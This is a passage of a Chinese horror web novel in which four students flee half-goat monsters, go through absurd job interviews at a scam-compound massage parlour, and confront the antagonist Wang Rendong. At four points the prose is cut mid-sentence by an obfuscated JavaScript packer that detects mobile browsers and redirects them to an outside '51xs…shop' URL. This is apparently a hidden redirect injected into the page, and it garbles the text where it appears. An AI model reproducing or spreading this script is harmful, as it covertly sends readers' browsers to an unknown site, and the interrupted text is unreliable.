见对方沉默,半羊人也不恼,金黄色的眼珠转了两转:“这边看您还没开始按摩就离开房间了,请问是要取消按摩安排,离开本店吗?” 它勾着嘴角,一边盯着舒怀瑾一边缓缓走到了桌子旁,拿起了桌子上的盒子。 “您想离开也是可以的呢,只要吃下这个盒子里任意一个水果就好了。” 它的蹄子将盒盖撬开,里面端端正正摆了四个排成一行的水果,分别是橘子、荔枝、桃子和李子。 水果的清香瞬间充斥了舒怀瑾的鼻腔,闻起来似乎确实是正常水果。 可这群半羊人追了自己一路,现在给出的放人要求又这么简单,明眼人都能看出来不合常理。 她想了想,开口道:“还有别的选择吗?” 经理身后的半羊人瞬间更加兴奋了,粘稠的涎水从唇角流下,又被鲜红的舌头舔了回去。经理虽然表面微笑着,但溢出来的口水也说明了一切。 眼见着几只挥出来的羊蹄就要搭上她的肩了,现下她也没有其他更好的选择,舒怀瑾只好迅速改口:“我吃水果。” 在众多横瞳的注视下,舒怀瑾仔细斟酌着,最终拿起了橙里泛青的橘子。 另外三个的颜色都有些太红了,根据三长一短选最短的蒙题基本法则变式,这个与众不同的橘子应当相对安全。 剥开它的外皮,橘络像破损的毛细血管一般渗出淡红的汁液。硬着头皮吃下一瓣果肉的那一刻,一股浓重的腥味顿时冲上了舒怀瑾的天灵盖。 生理性反胃之下,舒怀瑾几乎要呕吐出来,但还没来得及将果肉吐出,便感觉喉咙传来强烈的灼烧感。 ……大意了,她忘记自己每次蒙题都会蒙错了! 可惜后悔并不能改变什么,她眼前登时一黑,失去了知觉。 时间如倒流般前进着。 …… 舒怀瑾再次从疼痛中醒来。这一次,纸条上有十一行字。 又一次进入三楼末尾的那间房,再掏出三大把面包虫撒向门时,舒怀瑾怔愣了片刻。 这袋面包虫……有这么少吗? 虽然她记得她在上一个副本中用过面包虫,但那不过寥寥数条,袋子里还剩了满满一袋。 怎么眼睛一睁一闭,现在就只剩下小半袋了? 她想问问大公鸡知不知道这是怎么一回事,却发现怎么呼唤大公鸡都没有用。反倒是背包里的移液枪,居然已经升级完成了。 【道具:移液枪(升级版)】 技能二:“我受够只能转移液体的日子了。”经常被人嘲笑工作时太水了的移液枪愤愤叫道,“我要能转移一切!” 和魔术师进行了深刻的交流学习后,移液枪成功练就了一项新本领。现在,只需要对准需要转移的物体长按按钮,即可将物体吸入枪头中,而松开按钮便能释放物体。 技能冷却时长:一小时。 技能介绍下还有一行小字。 【实际升级时间:十天】 十天? 她记得上一个副本用时不过一整天,从升级之日算起到进入这个副本应当是八天左右。消失的那两天去哪儿了? 假如自己背包里那大半袋面包虫没有离奇消失的话,这缺失的两天或许可以用副本设定来解释。 但既然道具有所损耗,那么在这两天里,极有可能是她失忆了。 木门被破开之时,舒怀瑾掂量了一下手中的移液枪,底气也足了一些。 当半羊人经理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593695|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要求她选择一种水果食用时,舒怀瑾表面顺从地拿过了橘子,实际却在剥橘子皮时迅速思考着对策。 按照纸条上最后四条所说,这四种水果都不能吃。 她舔了舔干涩的嘴唇——既然她失忆了,这些字该不会都是自己写的吧? 可惜上面并没有写该怎么逃出这里。 这间屋子的陈设很简单,除了那扇门,其他有可能作为突破点的地方都被纸条写过了。既然如此,身后半米处那扇门应该就是唯一正确的答案。 橘子剥到最后一片皮了,一个孤注一掷的计划也浮现在她的脑海中。 半羊人们脸上带着嘲讽的笑容,看着舒怀瑾将橘子放进了嘴里。 毒发吧,回到起点,然后在无尽的折磨中成为和它们一样的东西。 下一秒,本该在痛苦中死亡的舒怀瑾扭身向后摔去,一道沉重的铁门赫然出现在半羊人们面前,如山般向它们倒了下来。 前排的半羊人被压在铁门下无法动弹,后排的半羊人勉强支起身子,才发现舒怀瑾早已从空荡荡的门框中逃之夭夭,只留下一个在走廊中狂奔的背影。 舒怀瑾:移液枪,好移! 半羊人们嘶吼着开始追逐她,但声音却在她拐弯后遽然消失了。 舒怀瑾回头一看,身后哪里还有什么半羊人,只有空无一物的走廊灯光明灭。 再将头转回来,面前的走廊也不见了,取而代之的是金碧辉煌的宽敞大堂。 …… 拜托,不要进来。 程映雪听见背后半羊人砸门的声音愈发刺耳,急得眼泪如断线的珠子一般,噼里啪啦碎在地上。 她的技能此时正在冷却中,如果让半羊人进来,她毫无生还希望。 将桌子和上面的电视机全都用腿勾了过来,堆在门后挡着,她随即跑向了那扇铁门。 打不开。 她抹了一把眼泪,凑近那门把手一看,才发现它是密码锁。 六位的密码锁。她强迫自己冷静下来——这个副本在什么时候出现了数字? 天生胆小却偏偏过目不忘,这样的天赋从前对她来说更像是一种诅咒。无数次深夜惊醒,纷杂的回忆就是她噩梦的根源。 为了冲淡那些噩梦的份量,她只能不停地去记一切能记的东西。 纸条上有十一行字,二楼有三十扇门,楼梯有十四阶,三楼有两扇门,墙壁上有二十一幅画。 这些数字超过六位了,也没有太多关联,如果一个个试的话,她恐怕活不到门开的时候。 再想想,还有什么地方有数字? ……是了,二十一幅画里有六幅上有数字!它们按照从楼梯口到走廊尽头的顺序排列,得出的数列是759263。 她几乎是颤抖着手将数列一一输入。就在木门碎裂的瞬间,铁门也发出了“滴”的一声响,弹出一条小缝。 铁门被奋力推开,程映雪踉跄着向门外的走廊跑去。 只要她想,无数次勒紧她灵魂的锁链也可以是救她于水火的云梯。 73. 毕业求职3 江贮月跑到铁门前时,半羊人们还没来得及追到三楼。 这扇铁门上了密码锁,但她这一路以来根本没注意过哪儿有数字,房间内更是一目了然的简单,根本没有线索的身影。 她必须逃出去,但目前没有其他法子了……用这个试试吧。 她手中寒芒一闪,一根一米长的狼牙大棒就威风凛凛地亮相在她手中。抡起胳膊虎虎生威地一挥,狼牙棒直接在那扇铁门上留下了一块巨大的刺坑,巨大的撞击声直接让刚赶到三楼走廊的半羊人们双腿一软。 半羊人:这班是非上不可吗? 但是它们毕竟羊多势众,抖了抖毛上的灰,还是决定在一声大过一声的锤门声中激流勇进。 待半羊人们抵达房间时,江贮月恰好挥出最后一棒,瞬间将早已伤痕累累的铁门打了个对穿。不等愣在原地的半羊人们反应过来,她敏捷地钻过了铁门上的洞,擦了鼻尖上的汗珠就往走廊奔逃而去。 半羊人们沉默地看着被打烂的铁门,你看看我,我看看你,没一人打算继续跟上去。 呼……还好前几次下手比较快,没被这狼牙棒打到。否则按照老板的德行,它们连工伤补偿都得不到,真惨。 …… “那实在是太惨了。” 邓溪明一边剥着荔枝,一边叹气:“想不到你们身为这里的员工,居然连水果都吃不上。” 半羊人经理有些心酸,不过用已经快腐烂的脑子想了一想,发现这种带毒的水果不吃也是好事,于是带着幸灾乐祸的笑容张开了口:“哎,的确。不过打工嘛,就是这样……” 话还没说完,一颗圆滚滚的东西就带着残影飞进了它的口中,咕噜一声就被它下意识地咽了下去。 这个味道……这个口感……好像是荔枝。 它圆瞪着眼睛看向对面有些紧张地搓了搓手指的邓溪明,一句遗言都还没说出来,就这样直挺挺地倒了下去。 邓溪明将手上荔枝黏糊糊的汁液搓干净,有些尴尬地干笑了两声:“哈哈,它如愿了。” 剩下的半羊人张大了嘴,两秒以后直接作鸟兽散。 开玩笑,经理都死了,不赶紧跑还等着被老板抓出来顶锅吗? 这种情况对邓溪明而言简直是意外之喜。她原本还打算对半羊人们使用罗汉铜像的最后一次技能的,现在看来倒是免了。 面前半羊人经理的尸体逐渐变得透明,“叮啷”一声,有什么东西掉在了地上。 邓溪明蹲下一看,是一串钥匙,钥匙柄上还贴了标签。 她从里面找出两把开头写了“三楼”的钥匙,一试便将铁门打开了。 备用锁,简直是天才的发明。 邓溪明的身影逐渐隐在走廊之中。 …… 大堂深处逐渐传来密集的脚步声,听起来和半羊人的蹄声没什么两样。 舒怀瑾闻声连忙往大堂东边的大屏风后一闪,弯起身子谨慎地看向声音的来源。 然而声源处的人群还没现身,她忽然听见身后滚来一阵风。 舒怀瑾猛然转身,扣动移液枪对准这个突然出现在自己身后的人,却见到对方迅速举起了双手。 “怀瑾,是我啊!”程映雪脸颊上还有未干的泪痕,“我好不容易逃出来,你不要杀我啊啊!” 震惊瞬间转化为了天大的喜悦,舒怀瑾连忙松开移液枪按钮,上前拉起程映雪的手,左看看、右看看:“你还好吗?怎么只有你一个人,她们两个呢?” 程映雪摇了摇头,还没来得及说话,脖子后面又一凉。 她见舒怀瑾瞪大了双眼,想来自己身后是有什么恐怖的东西,深吸一口气就想说遗言,却被一双暖呼呼的手捂住了嘴。 “映雪,是我。” 江贮月带着她的狼牙棒,像杀神一样闪现了。 虽然嘴被捂住了,但程映雪一直都用的意识空间说话,这可没法捂住。她扒拉了两下江贮月的手,没能扒拉开,只好无奈道:“所以可以解开我的禁言了吗?” “哦!不好意思。”江贮月这才意识到自己下意识捂了程映雪的嘴,不免赔笑道,“我以为你要尖叫了。” 程映雪没话可说,只是戳了戳江贮月的肩膀,又指了指她的身后。 江贮月不明所以地回头,然后“嘭”地一声被吓得跳了起来,随即被程映雪眼疾手快地向后一扯,捂住了她张了一半的嘴巴。 “溪明,你怎么走路一点声音都没有的?” 轻手轻脚赶来的邓溪明白了江贮月一眼:“你再闹腾一点,估计那群怪物很快就要发现我们了。” 江贮月悻悻点头,心中却有些庆幸:“真巧,咱们都在这。要不说咱们四人心有灵犀呢,就连选择藏身的位置都一模一样。” 这样一场小插曲无伤大雅,毕竟还能再见到她们,已经是很幸运的事情了。舒怀瑾心中安定了不少,继续偷眼往屏风外看。 就在这段时间,外面已经有一群身着绿色工作服的半羊人在大堂中列成了整齐的两排,此时正垂首无言。 不多时,一位穿着蓝色西装的半羊人从走廊的另一端走出,站在了两排半羊人前,声音激昂:“今天,我们又有一位工作人员倒在了岗位上!” “但,这绝不是它的悲哀!死得其所,这是它的荣幸,也是我们共同的目标!让我们一起说,向杨经理致敬!” 绿工服半羊人们应和着:“向杨经理致敬!” 西装半羊人见此十分满意,轻咳两声,话锋一转:“接下来,我们开始今天的常规晨训。” “想成功!” “先发疯!” “不顾一切向钱冲!……” 屏风后的四人面面相觑——原来她们在诈骗窝点啊。 通关要求是什么来着?没记错的话,应该是叫她们找工作吧。 在园区找工作,也是有够地狱的。 那边激情澎湃地喊完口号以后,西装半羊人又叉着腰在两排半羊人间兜了一圈,随后点了两名半羊人出列。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593696|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们两个,和我一起去一趟大老板办公室,有事情要交给你们办。其他人自己在岗位上把屁股坐踏实了,别被我发现开小差!” 半羊人们从四人来的方向离开,包括西装半羊人在内的那三人则往它们来时的走廊走去。 四人正疑心着这所谓的“老板”是不是她们通关的关键,却看见面前光滑的墙面突然凹陷下去了一块,随后薄墙翻转,一只身着粉色西装的半羊人就带着满面的笑容出现在了她们面前。 舒怀瑾立即将移液枪对准了它,但它似乎丝毫没注意到舒怀瑾的动作,只是摊开手,自顾自向四人走来。 “你们终于来了。” 见四人面色不善,它似乎有些惊讶:“怎么?我们之前不是在网上聊过的吗?我是人事部小刘啊。” “今天四位来这儿,不是为了面试岗位,加入我们的大家庭的吗?” 这是副本的剧情设定?舒怀瑾思忖着,眼前却逐渐浮现出一行字。 【求职守则】 一、身着粉色西装者会为求职者推荐合适的岗位,请向它们展示你的优势,以便获得优渥的薪资待遇。 粉色西装半羊人也不知道发生了什么,只知道没过两秒,面前四位原本神色阴鸷得几乎像要杀人的女士瞬间面色如春风般明快了起来。 “HR您好,请问我们是在这里进行面试吗?” 舒怀瑾拿出了她最招牌的亲切笑容,一时间晃眼得让粉色西装半羊人差点忽略了她手上对准自己的奇怪物品。 “当然不是,我们要去专门用来面试的会议室。”半羊人朝身后做了个“请”的手势,眼神却一直没离开舒怀瑾的手上,“另外,可以问一下你手上是什么东西吗?” 舒怀瑾神色如常地看了一眼移液枪:“哦,您说这个。” “这是我的摄像机。我在自媒体领域略有经验,今天带它来就是想为公司展示一下我在这一方面的才能,好在今后更方便为公司做贡献。” 半羊人有些狐疑地看向那支移液枪:“……摄像机?有长这样的吗?” 舒怀瑾面不改色:“当然,最新款DJIOSMOPocket13,蓝白配色尽显极简风尚,小巧身量全释无限可能。” 另外三人:? 半羊人:! 舒怀瑾唬人还是有一套的,这位门外汉半羊人显然就吃这一套,有些兴奋地搓了搓手:“咱们公司做宣发的前几日才离职,正需要你这样的人才。来来来,别磨蹭了,你们快跟我来吧,咱们公司面试官都很亲切的,早入职,早享受!” 离职是假的,死了估计才是真的。不过这话四人自然不会说出来,只是顺从地随着半羊人走进了墙壁中的暗道里。 暗道不长,但四人出暗道时,手上却都莫名其妙多出来了一部手机。 还没来得及搞清楚这是怎么一回事,四部手机就齐齐闹响。半羊人听了这声音,有些慌张地将四人往最近的房门中一推。 “快去吧!面试官在里面等得急了!” 74. 毕业求职4 四人的手机上均弹出一个弹窗。 【当前任务】 进入A306室,进行第一场面试,尝试获得一份工作。 弹窗下附了一个各不相同的数字,而她们被推入的房间正是A306,映入眼帘的是一张长桌与坐在桌后的三名灰色西装半羊人。 粉西装半羊人贴心地将门关上了,但灰西装半羊人们低着头玩着手机,似乎并没有开始面试的意思。 “各位面试官好,我是……” “还没开始。” 舒怀瑾正打算率先自我介绍打破僵局,话才说了一半却被其中一名半羊人冷冷打断。 无奈,这里毕竟是面试现场,舒怀瑾只好噤声。 没过一会儿,她们身后的门又打开了。四人回头一看,几副上一个副本见过的熟面孔也进到了房间中。 偌大的会议室里稀稀拉拉一共站了七个人,这时半羊人面试官才响亮地碰了碰蹄子,清了清嗓子,道:“人已到齐,现在开始面试!” “从一号开始。” 一号?舒怀瑾想起来自己手机显示的弹窗下的数字,那儿正显示的是一。 她应该就是那个倒霉的一号。 不过,幸好她就早打好腹稿了。舒怀瑾深吸一口气,抬头满面微笑接上自己先前被打断的自我介绍。 三位面试官的羊头看不出什么表情,只是偶尔在面前桌上的白纸上写写画画,再随手在手机上划拉两下。 舒怀瑾的自我介绍说完了,四只半羊人也并不说什么,只是蔫蔫地一摆手:“下一位。之后自己轮流说,不要我们再叫了。” 然而才进来的二号明显还没想好要说什么,磕磕绊绊地说了两三句话,就被半羊人打断了。 “好了,下一个。” 半羊人面试官们在纸上颇为威风地打了叉,看得二号紧张到双目通红,后面的人则是更加提心吊胆地准备着自我介绍。 程映雪、江贮月和邓溪明都来得比较早,准备的自我介绍较为充分,半羊人面试官们神色却也是平平淡淡的,连目光都没落在她们身上过。 等到七人都将自我介绍说完了,其中一名面试官才轻飘飘地抬起手,虚空点了两下。 “二号、六号,你们两个可以走了。” 二号和六号还没来得及说出一句话,就被凭空拎起了衣领,扔出了房间。 门外先后传来闷重的坠地声和呼痛声,随后是爬起的脚步声。看来被赶出面试现场的后果并不算严重,至少人还都活着。 “你们五个人,现在进入第二轮面试。” 面试官抠了抠蹄子上的边缘角质层,漫不经心道:“看了各位的简历,都是应届毕业生,很好。现在行情不好,你们都知道,毕业生有工作就已经是谢天谢地了。你们能来我们这按摩馆工作,也不算屈才,甚至算得上高就。” “但咱们公司也不是什么人都收留的。来说说吧,你们的梦想都是什么?” 一时间五人几乎以为自己误入中国好声音现场,面前就是三位导师。但是这毕竟是个按摩馆,难道现在去按摩馆应聘也需要高大上的梦想了吗? 但为了不被踢出面试现场,五人还是绞尽脑汁试图回答面试官的这个问题。 见舍友们都给自己使眼色,舒怀瑾只好一抹脸,便声情并茂道:“是的。我有一个梦想。” “我本身是一个肩颈劳损很严重的人,深知推拿按摩对于我们这类人的重要性。” “现在随着大家生活工作压力越来越大,身体酸痛不适的人也越来越多,我的梦想就是能够借助咱们咱们公司大平台的宣传,让大家都能够了解到按摩的好处,来咱们店内体验按摩,享受到更美好的生活!” 说到最后一句时,舒怀瑾甚至激情澎湃地握起了拳头。 另外四人:有点假,但已经很厉害了。 虽然舒怀瑾的梦想演说不能打动心里门儿清的同学们,但显然打动了面试官们。 毕竟这里可是堪比园区的按摩馆,要的就是舒怀瑾这种充满激情还能干事、好忽悠的愣头青。 面试官们满意地点点头,看向了剩余四人。 趁着舒怀瑾叙说“梦想”的空当,另外四人也多少想出了些应对的话,最终均以各种假大空的理由通过了面试官的考验。 面试官半羊人羊蹄往纸上一拍:“好,看来各位都和咱们公司的核心奋斗精神很契合。我看到这里有四位女同志,想问问你们近期有没有要孩子的计划?” 来了,这个该死的问题。 舒怀瑾四人几乎是咬牙切齿地回道:“当然没有。” 面试官懒懒地抬头:“哦?那什么时候打算要?” 看你什么时候打算投胎吧。 当然这儿毕竟是生死一瞬的副本,这句话不可能说出来。 舒怀瑾只好闭眼:“我已经离婚了,孩子两岁大,未来六年都不会再有生育计划了。相信在这六年,我可以为公司做出公司所期盼的贡献。” 面试官翻看了一下简历:“嗯,那你孩子是谁带?” 舒怀瑾深呼吸:“前夫家里人。” 面试官:“那你为什么不打算趁着空窗期再要个孩子?” 舒怀瑾:…… 这个问题还没完没了了。 她打开手机,确认了这是第一场面试,后面大概率还有面试,且这一场面试没法过了这个坎后,干脆破罐子破摔了。 舒怀瑾淡淡道:“我前夫不孕不育,这个孩子是我和情人生的,为了不让他怀疑,好好养孩子,我只能先安分几年。” 面试官点头。 面试官瞪大双眼。 面试官怒了。 “德行有亏!一号,滚出去!” 舒怀瑾麻溜地自己先跑出去了,关上门的时候还给舍友们递了个眼神。 另外三人:get。 程映雪:“我不孕不育。” “有疾病的我们不要,三号,出去!” 江贮月:“你们这是职场歧视,不符合规定。” “敢顶嘴?滚蛋!” 邓溪明:“面试官你打算什么时候要孩子?” “关你什么事?通通给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593697|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚!” 三人脚底抹油一般飞速离开了这个是非之地。 四人才刚出了A306室,手机上就又响了一阵闹铃,随之而来的又是一个弹窗。 【当前任务】 进入A307室,进行第二场面试,尝试获得一份工作。 果然,后面还有面试。 四人进了A307室。这一回只有六个求职者在场就开始了面试,而且三位面试官看起来都十分好说话,脸上都挂着亲切的笑容。 这次他们面试的公司和上一场面试的相同,但出乎人意料的是,三位面试官竟没问什么问题,而是拿出了合同,道:“填合同之前大家还有什么问题吗?” 这么容易?六人大眼瞪小眼,都有些不可置信。但正所谓事出反常必有妖,程映雪犹豫了片刻,还是出声询问。 “请问……我们什么时候开始上班?” 面试官抬了抬鼻梁上的眼镜,笑眯眯道:“签了合同就开始了哦。” “那成为公司的员工后,我们的休假是怎么算的?” 面试官:“我们没有休假哦。” 坏了,遇上贼船了。 但鉴于通关要求只是获得一份工作,江贮月还是不死心地问道:“可以先给我们看看合同吗?” 面试官:“当然。” 将那一纸薄薄的合同拿来细细一看,上面竟用小字写着“成为本司员工以后自愿遵守本司所有要求,不得离开公司”。 四人均被吓出一身冷汗。 还好没有鲁莽签合同。通关条件虽然是获得工作,但能不能回去或许还受这份合同的制约。 毕竟通关是通关,离开副本是离开副本。 四人商讨之后,为了保险起见,还是扮作讪讪样随口找了个借口离开,准备去往下一场面试。临走之时,她们余光只见一名同学咬咬牙还是签下了合同,似乎决心赌一把。 就在他签完名的那一瞬,他全身都变成了半羊人的模样,愣愣地看向了门口尚未完全消失在门缝里的四人,唇角流出了粘稠的口水。 他的蹄子被面试官轻轻抬起,面试官温柔地拥抱了他:“欢迎成为我们的一员。” …… 【当前任务】 进入A308室,进行第三场面试,尝试获得一份工作。 连接着两次面试失败,四人不免担忧起第三场面试究竟又会如何为难她们。 但即使她们已经做好了准备,当打开A308室的大门时,四人才意识到她们所设想的场景还是太保守了。 房间内满地残肢断臂,一把嗡嗡作响的电锯就这样猛然带着浓烈的血腥味扫向了四人! 就在电锯距离四人仅有一厘米时,当四人几乎可以感受到电锯锯齿在衣服上的摩擦感时,空间在刹那间扭曲,随后她们身形一晃,就这样消失在了电锯面前。 举着电锯的半羊人伸出长长的舌头,舔了舔唇边白毛上沾染的鲜血,有些疑惑四人为什么突然消失了,但最终还是晃了晃脑袋,继续埋伏在了门后。 反正还会有更多人上门的。 75. 毕业求职5 “好险……真的差点儿就死了。” 生死关头被大公鸡紧急转移到安全坐标的舒怀瑾四人心脏狂跳了好一会儿才缓过气来,意识到方才发生了什么后才一人握着大公鸡一撮羽毛开始疯狂道谢。 刚从意识背包里苏醒的大公鸡也是满头冷汗。要是它再晚一些挣脱开副本的束缚,恐怕四人连带着背包里的它都已经惨死在电锯下了。 “……你们接下来打算怎么办?” 大公鸡自谦了八百次才勉强把自己的羽毛从四人手里救回来,边梳理着已经有些杂乱的羽毛边询问着。 “我穿越时空的能力只能回到上一次世界中设定了的坐标。但刚刚事态紧急,我只来得及在A308室门口设定了坐标。” 程映雪接上它的话:“所以如果我们要回到副本里的话,还是会出现在那个屠宰场的门口?” 大公鸡神色严峻:“是的。” 闻此,四人刚刚放下的心又吊了起来。这儿虽然是安全坐标,但毕竟大公鸡没法将她们直接转移回宿舍,她们想回去还是要靠副本的机制。因而,为了防止原有副本关闭等诸多风险,此处终究不是久留之处。 她们正商量着对策,江贮月的手机却突然传来一声消息提示音。 打开手机一看,收到的竟是堂姐的信息。 【两天前问卷的信号出现极大波动,上面已经可以定位到副本里大家的坐标了!】 【如果再有一次大型波动的话,将大家救出来的可能性很高。那天波动的坐标和你当时的坐标极为接近,你是否注意到当时发生了什么不寻常的事情?】 【如果可以的话,我们希望你在保证自身安全的情况下协助我们再尝试引起一次波动。】 四人脑袋凑到一起,细细咀嚼着堂姐这几条信息。 两天前,那不正是她们被强行推进下一个副本的时候吗? 当时要说异常,无休息时间连着进本算一个,空中忽然传来忍冬的声音也算一个。 是时空扭曲造成的波动吗?还是说这位一直于暗处无处不在的忍冬因可被观测而造成了波动? 四人拿不定主意,还是决定专业的事情交给专业的人去办比较好,将事情如实转述给了江贮月堂姐。 这次的信息转了两转,竟然顺利地发出去了。 不过片刻,堂姐的信息也传了回来。 【收到!报告显示这种波动成因复杂,但散播起点集中在一处,你说的空间波动可能性比较小。此外,刚刚上面又检测到了轻微的波动,和你们半小时前的坐标高度吻合。】 半小时前?那不就是她们刚刚在的那个副本吗? 结合堂姐说的报告结果,她们合理怀疑忍冬又出现在了副本中。 回副本的理由又增加了一条,但现在最大的问题是,她们该如何在回去的时候从凶杀案现场逃离? 邓溪明和程映雪的道具次数已经悉数用完,目前四人只剩下面包虫、移液枪和江贮月的变形能力可以用。 虽然不清楚回去时那只半羊人还在不在,但小心为上,她们最终还是敲定了一套完整的逃命方案。 三秒以后,A308室,门口的地上凭空出现了四块极不起眼的小石子,正被八条面包虫吭哧吭哧地从门缝艰难地往外搬运着。 室内的半羊人似乎察觉到了什么,抹掉唇边的肉屑,提着电锯就从尸体堆中走向了门口。 血液沿着锯面汇成涓涓细流,从最下方的锯齿处点点滴滴落在了门缝里的四块小石头前。 小石头们不敢动,面包虫们同样不敢动,直到面前的血液聚成一摊暗红色的湖泊,半羊人才从鼻子里哼了一声,转身回到了尸体堆中继续大快朵颐起来。 太好了,逃过一劫。 面包虫们重新蛄蛹起来,将石子们往门外推。不知挤压了多少下,四颗石子终于是被推到了门外。 四人都松了一口气,准备让面包虫多推一段路再变回人身,但却忽然感到背后一阵飓风袭来。 一道滋滋作响的电锯猛然斩破了房门,直直劈入了她们之间的实木地板里! 那近在咫尺的巨大电锯发出震耳欲聋的噪音,一只金黄色的横瞳从被砍开的木门裂缝中死死地盯着门外四人变幻而成的四颗石子,随后将前蹄收回,再次对准四人狠狠劈下。 这次的电锯攻势说明半羊人显然是已经识破了她们的伪装,再装石子也无益,四人当机立断避开电锯往旁边一滚,随即解除变身朝走廊深处狂奔而去。 半羊人喘着粗气将整扇门破开,举着电锯就追了上来。 走廊尽头又是一间楼梯间,但原本作为顶楼的三楼此时竟然出现了向上的阶梯。向下的楼梯里传来杂乱的脚步声,四人情急之下只能向上逃去。 逃到四楼,除了一扇防火门外也再无其他去路了。 “完了!这扇门打不开!” 江贮月拧了防火门后听着楼下越来越近的电锯声,又掏出狼牙棒往门上砸去。 谁知这次狼牙棒刚触及门,就仿佛被吸收了一般直接陷了进去。要不是江贮月松手松得快,恐怕她也会被直接扯入其中。 舒怀瑾在后方用移液枪朝楼梯下盲射,无从分心,前方的三人则是急得满头大汗。 忽然,邓溪明脑海中有什么东西一闪而过。她在意识背包中翻翻找找,终于找到了之前被毒死的半羊人经理小杨身上掉下来的那串钥匙。 钥匙的脆响在楼梯间内哗啦啦响起,她终于找到了一把写着“4”的钥匙,一秒都不敢耽搁,直接上前一步将钥匙插入了钥匙孔中。 拧,旋,按压。 “门打开了!” 随着邓溪明的一声惊呼,防火门被她一把推开,门外天光乍泄,一下子将一直在昏暗环境中的四人晃得头晕目眩。 追上来的半羊人见到这刺目的阳光,却一下子浑身一颤,只敢用电锯向身在阳光中的四人挥舞,半步不敢上前。 四人见此连忙稳住心神往阳光处闪避,迈出了电锯的攻击范围。 半羊人见此,只能愤愤不堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593698|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地守在原地,眼珠随着四人的身形而动,似乎在等待四人出来。 眼见着退路没了,舒怀瑾四人只能转而打量起此时四周的情况。 她们看起来在一处天台之上,走两步就能看见蓝天,盛放的阳光烘烤着每一处水泥地,沙石发出细小的哀嚎。 细听之下,似乎不远处有人声,你来我往的似乎在争论着什么。 四人一向不爱听墙角,但被赶到这天台上走投无路,又忽然听见说话声,不免想要前去探探情况。 随着她们朝声源处越来越近,争吵声也越来越大,传来的嗓音也越来越熟悉。 但就在四人顿觉不对,准备停下脚步时,江贮月身上忽然传来一声响亮的消息提示音。 “谁在哪儿?” 糟了,忘记设置免打扰了! 四人还没来得及逃跑,便一齐被天空中的一只大手一把抓住,扔到了天台空旷处。 江贮月借着被扔到地上的劲儿迅速俯下身子瞄了一眼信息,是堂姐发来的。 【你们的坐标和波动几乎重合了!】 一抬头,只见左边是方淮,右边则站了一个面孔略微熟悉的陌生女性。 陌生女性面容不怒自威,此时却是指着四人望向了方淮。 “怎么处置?你说。” 这个声音——是忍冬。 方淮倒是饶有兴致地挑眉看了四人一眼:“你们怎么跑这儿来了?” 没等四人回答,她又接着道:“不过,来都来了,就干脆和我一起听听我们王忍冬女士的高见吧。” 王忍冬?程映雪暗自记了下来,毕竟这是她们第一次了解到忍冬的姓。 王忍冬淡褐色的眸子登时一暗:“我们之间的事情不必外人插手。你要是不舍得对她们下手,我可以为你代劳。” “嗯?我没记错的话,她们也是你的问卷参与人吧,怎么就是外人了呢?” 方淮笑着搭上了舒怀瑾的肩,冰凉一片。 “这群学生命是不值钱的,我随手杀个成百上千的对他们来说也是解脱,总好过一直在你的问卷里接受无穷无尽的折磨。” “怀瑾,你一路走来见了不少人,你说我说得对不对?” 舒怀瑾眼珠微动,余光瞥见舍友们各异的眼声,正思量着保持沉默的安全性,却陡然听见江贮月的手机又传来一声提示音。 毫秒之后,江贮月身上传来轰然一声爆炸声响,霎时间她的腿部一片血肉模糊,面色骤然苍白,被冲击至仰面倒在了地上。 程映雪惊叫一声,三人顿时围了上去,舒怀瑾则立即从背包中掏出花瓣给咬着牙硬撑着的江贮月服下。 目光触及那花瓣,王忍冬却又立刻移开了眼神:“外面那群人像狗皮膏药一样黏着,原来是你们四个一直在通风报信。” “方淮,这次无论你怎么说,这四个人都不能留了。” 她的手微微抬起,下一秒却被程映雪的话硬生生钉在了原地。 “王盼娣,你为什么会变成这样?” 76. 尾声 忍冬淡褐色的眼珠转了又转,下一秒直接出手掐住了程映雪的脖颈,将她生生提了起来,周身似有波纹扭曲。 “你再说一遍,你叫我什么?” 